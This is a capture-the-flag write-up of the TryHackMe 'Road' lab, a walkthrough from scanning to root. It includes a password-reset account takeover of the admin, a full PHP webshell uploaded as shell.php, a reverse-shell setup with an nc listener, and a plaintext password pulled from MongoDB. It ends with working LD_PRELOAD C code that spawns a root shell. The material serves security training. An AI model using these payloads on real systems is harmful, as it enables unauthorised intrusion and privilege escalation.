1

TryHackMe - Road

I'm missing some web-base attack vectors in my life - and this is the newest entry on the site so let's do it!

Walk Through - TLDR

User Flag

I run off my playbook and start with rustscan

TARGET=<IP>
sudo rustscan -a $TARGET -- -A -s
...
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu)
...

Notice that Port 80 is open, startup Burpsuite and look around the application.

  • Find the admin panel
  • Register an account
  • Login with the account you registered
  • Find the profile page
  • Find the photo upload - note there's an admin account name
  • Find the password reset form
  • Change your password with interception on in Burp
  • Change the account to the admin's account and you can gain access to it
  • Login as the admin
  • Inspect the profile page, note a comment stating where photos are uploaded
  • Upload a photo and test that you can load it in the browser
  • Upload pentest monkey's reverse shell. Don't forget to edit it with your IP and Port and start a listener sudo nc -nlvp 80 Once you get your shell you should be able to find the user flag very quickly! (Check /home)

Root Flag

Notice mongo is running, access it with mongo. You can find webdevelopers password in the database. Explore around, use the following commands:

show dbs
use <db name>
show tables
db.<table>.find()

Use the password to ssh into the machine and gain access to webdeveloper user. Execute sudo -l:

  • LD_PRELOAD is present
  • We can execute a binary as root Compile a shared library that will make us root:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
 unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash");
}
gcc -shared -o root.so root.c -nostartfiles

Execute sudo with our library and get root!

webdeveloper@sky:~$ sudo LD_PRELOAD=/home/webdeveloper/root.so /usr/bin/sky_backup_utility
root@sky:/home/webdeveloper# id
uid=0(root) gid=0(root) groups=0(root)

Write Up

Information Gathering

Before booting the machine, we're really not provided much detail about what to expect here. All we're given is:

  • This was inspired from an actual Pentesting engagement
  • Maybe the word 'road' is useful, as a metaphore maybe who knows
  • Given there's a user and root flag, we're expected to preform a PE vector for sure

Enumeration

I run off my playbook and start with rustscan

sudo rustscan -a $TARGET -- -A -s
...
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu)
|_http-title: Sky Couriers
|_http-favicon: Unknown favicon MD5: FB0AA7D49532DA9D0006BA5595806138
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
...

We've got 22 and 80 open. I'll jump straight to the HTTP port and kickoff nikto:

nikto --host $TARGET --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.108.141
+ Target Hostname:    10.10.108.141
+ Target Port:        80
+ Start Time:         2021-12-05 20:34:50 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 4c97, size: 5ce886fbdbcdf, mtime: gzip
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET 
+ OSVDB-3092: /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ /phpMyAdmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7892 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2021-12-05 20:47:51 (GMT0) (781 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
      *********************************************************************
      Portions of the server\'s headers (Apache/2.4.41) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!

While that finishes, I startup Burp to do some manual poking around. Looks like we're testing some sort of delivery company. 2 As I'm browsing here's what I noticed:

  • A form to put a tracking number (Sql Injection, XSS)
  • A contact page (Sql Injection, XSS)
  • An admin login page at /v2/admin/login.html
    • It looks like they wrote the admin page themselves
  • There's an open registration page
    • Entering an account drops a page that shows successful
    • We can then directly login to the admin portal 3 From here:
  • All the links to the left appear broken (Clicking them does nothing)
  • Our dashboard is empty
  • There's again an input for a tracking number (SQLi, XSS)
  • I decided to poke at the tracking system, entering anything produces an error page at the URL /v2/admin/track_orders.php?awb=INPUT
  • I went back to the tracking section on the main page to test there, and you get an error on being redirected to the URL http://10.10.108.141/v2/admin/track_orders?awb=INPUT&srchorder= I noticed a profile page: 4 It contains a profile picture upload which could be a vector for us. It has a fun note saying only admin's can execute it, and provides us with the admins email admin@sky.thm. I think we're registered in the admin portal and therefore we're an admin? It doesn't seem to allow us to do anything. Alright that's enough poking around, time to choose what to do. Circeling back to Nikto it seems like an SQL admin stub page was found. This should mean it's highly likely we have a MySQL DB behind this. I'd like to try an SQLi tool on the tracking API. I Captured my PHP session ID and used SQLMap to test the endpoint. 5
sqlmap --cookie='PHPSESSID=iqqcll0qb7ic8hi39bpbkvgdd4' -u 'http://10.10.108.141/v2/admin/track_orders.php?awb=INPUT'

No luck though. Circling back further, I notice the dashboard does have one link that's not dead, http://10.10.108.141/v2/ResetUser.php. Alright this is just to reset a password, but I also now randomly have a wallet ballance displayed on-top? 6 I wonder if we can use this request to reset anyone's account? Let's try to reset the password for the username admin@sky.thm.

Exploitation

I submitted a reset request, intercepted it and changed the value of username to admin@sky.thm: 7 It seems to have worked? 8 9 Yes! We can login as the admin now! And now we can upload a picture, we must be able to drop a shell here with some MIME spoofing or something. 10 Of course I just uploaded a normal file first to see where they end up. Submitting it did nothing though, or at least nothing visible. Looking at the page source and searching for image there's a little comment included <!-- /v2/profileimages/ -->. The response at that endpoint is Directory listing is disabled.. I tried accessing exactly the filename I uploaded, and got my image back! Awesome! 11 Let's see if it'll just take a PHP webshell...

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

I uploaded this file as shell.php and then... 12 Too easy!

Post-Exploitation

The webshell is cute, but let's get ourselves a reverse shell real quick. On Attacking machine

nc -nvlp 4444

Then I uploaded pentest monkey's reverse shell. And now we've got ourselves an interactive shell: 13 I just move around a little in the shell, and quickly find that we can get into /home/webdeveloper where the user flag sits. Now, I poked around a bit, here's things that were notable:

  • cannot read .mysql_history
  • There's a mount we cannot read at /home/webdeveloper/.local/share
  • No interesting processes as root
  • Sudo version 1.8.31
  • Linux sky 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • No useful SUID binaries
  • No useful cronjobs
  • Can't read /dev/mem I'm a little rusty here honestly, also getting pretty sleepy now. So I decided to use the ol linpeas.sh. I just downloaded it onto my local system, hosted it with python -m http.server and downloaded it with wget. I dug down many holes to no avail, until I noticed mongo was running. We're actually able to connect to it without credentials!
$ mongo
MongoDB shell version v4.4.6
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("32f1f23d-5a42-4af2-acd7-75fb9103ebea") }
MongoDB server version: 4.4.6
show dbs
admin   0.000GB
backup  0.000GB
config  0.000GB
local   0.000GB
use admin
switched to db admin
show tables
system.version
use backup
switched to db backup
show tables
collection
user
db.user.find()
{ "_id" : ObjectId("60ae2661203d21857b184a76"), "Month" : "Feb", "Profit" : "25000" }
{ "_id" : ObjectId("60ae2677203d21857b184a77"), "Month" : "March", "Profit" : "5000" }
{ "_id" : ObjectId("60ae2690203d21857b184a78"), "Name" : "webdeveloper", "Pass" : "BahamasChapp123!@#" }
{ "_id" : ObjectId("60ae26bf203d21857b184a79"), "Name" : "Rohit", "EndDate" : "December" }
{ "_id" : ObjectId("60ae26d2203d21857b184a7a"), "Name" : "Rohit", "Salary" : "30000" }

Ah there we go, we have webdevelopers password!!! This took me way too long honestly. I ssh'd in and wishfully executed sudo su to no avail:

webdeveloper@sky:~$ id
uid=1000(webdeveloper) gid=1000(webdeveloper) groups=1000(webdeveloper),24(cdrom),27(sudo),30(dip),46(plugdev)
webdeveloper@sky:~$ sudo su
[sudo] password for webdeveloper: 
Sorry, user webdeveloper is not allowed to execute '/usr/bin/su' as root on sky

There is a custom binary we can actually run as root though, so this is clearly the root vector:

webdeveloper@sky:~$ sudo -l
Matching Defaults entries for webdeveloper on sky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User webdeveloper may run the following commands on sky:
    (ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility

Executing it without sudo:

/usr/bin/sky_backup_utility
Sky Backup Utility
Now attempting to backup Sky
tar: Removing leading `/' from member names
tar (child): /root/.backup/sky-backup.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now
/var/www/html/assets/
...
/var/www/html/assets/img/3002121059.webp
/var/www/html/assets/img/more-info-png-complete-surveillance-cabinet-solution-for-h-265-outdoor-ptz-444.png
/var/www/html/assets/img/header.png
tar: /root/.backup/sky-backup.tar.gz: Cannot write: Broken pipe
tar: Child returned status 2
tar: Error is not recoverable: exiting now
Backup failed

Executing as root lists a lot more directories and actually exits without errors. Time to dig into this binary!

strings /usr/bin/sky_backup_utility
/lib64/ld-linux-x86-64.so.2
puts
printf
system
__cxa_finalize
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
Sky Backup Utility
Now attempting to backup Sky
tar -czvf /root/.backup/sky-backup.tar.gz /var/www/html/*
Backup failed!
Check your permissions!
Backup successful!
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
sky.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
printf@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

Perhaps I can find the source code? Spoiler - I couldn't. Pondering back on the output from sudo -l, we have LD_PRELOAD available - DUH! I can preload a library with root privs to make me root! For a shared-lib you simply execute the code within _init at load time, so this should do the trick:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
 setgid(0); setuid(0); system("/bin/bash");
}

I wrote this to root.c and compiled:

gcc -shared -o root.so root.c -nostartfiles

Then, executing the binary with the LD_PRELOAD variable set gets us root:

$ sudo LD_PRELOAD=/home/webdeveloper/root.so /usr/bin/sky_backup_utility
sh: 1: Cannot fork
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
root@sky:/home/webdeveloper# 
idroot@sky:/home/webdeveloper# id
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable
bash: fork: retry: Resource temporarily unavailable

Ok it looks like it worked, but I can't interact with anything, I bricked the session somehow. Whoops I forgot something in my code!

Environment variables such as LD_PRELOAD are inherited by child processes. The linked example overrides the _init symbol to invoke a shell using system("/bin/bash"). If the environment variable would not have been cleared, then it would effectively be stuck in an "infinite loop" when invoking system.
If you watch your process list (using ps aux for example), you will see a bunch of shell processes. The system library function creates a new process and executes /bin/sh -c "....". Every time, _init is executed.

Updated code:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
 unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash");
}

aaannnddd:

webdeveloper@sky:~$ sudo LD_PRELOAD=/home/webdeveloper/root.so /usr/bin/sky_backup_utility
root@sky:/home/webdeveloper# id
uid=0(root) gid=0(root) groups=0(root)

Much better!